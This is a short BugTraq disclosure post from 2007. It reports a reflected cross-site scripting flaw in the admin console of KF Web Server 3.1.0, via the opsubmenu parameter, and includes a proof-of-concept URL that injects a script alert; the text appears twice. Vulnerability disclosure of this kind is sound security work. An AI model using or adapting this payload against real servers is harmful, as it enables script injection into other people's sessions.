BugTraq
Back to list
|
Post reply
KF Web Server 3.1.0 admin console XSS
Jun 23 2007 07:18PM
imprili gmail com
KF Web Server 3.1.0 admin console XSS
--------------------------------------
site:http://www.keyfocus.net/kfws/
parameter:opsubmenu
poc
---
http://127.0.0.1:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript%
3Ealert('xss');%3C/script%3E
bug found by: Shay Priel aka Prili - imprili (at) gmail (dot) com [email concealed]
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
--------------------------------------
site:http://www.keyfocus.net/kfws/
parameter:opsubmenu
poc
---
http://127.0.0.1:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript%
3Ealert('xss');%3C/script%3E
bug found by: Shay Priel aka Prili - imprili (at) gmail (dot) com [email concealed]
[ reply ]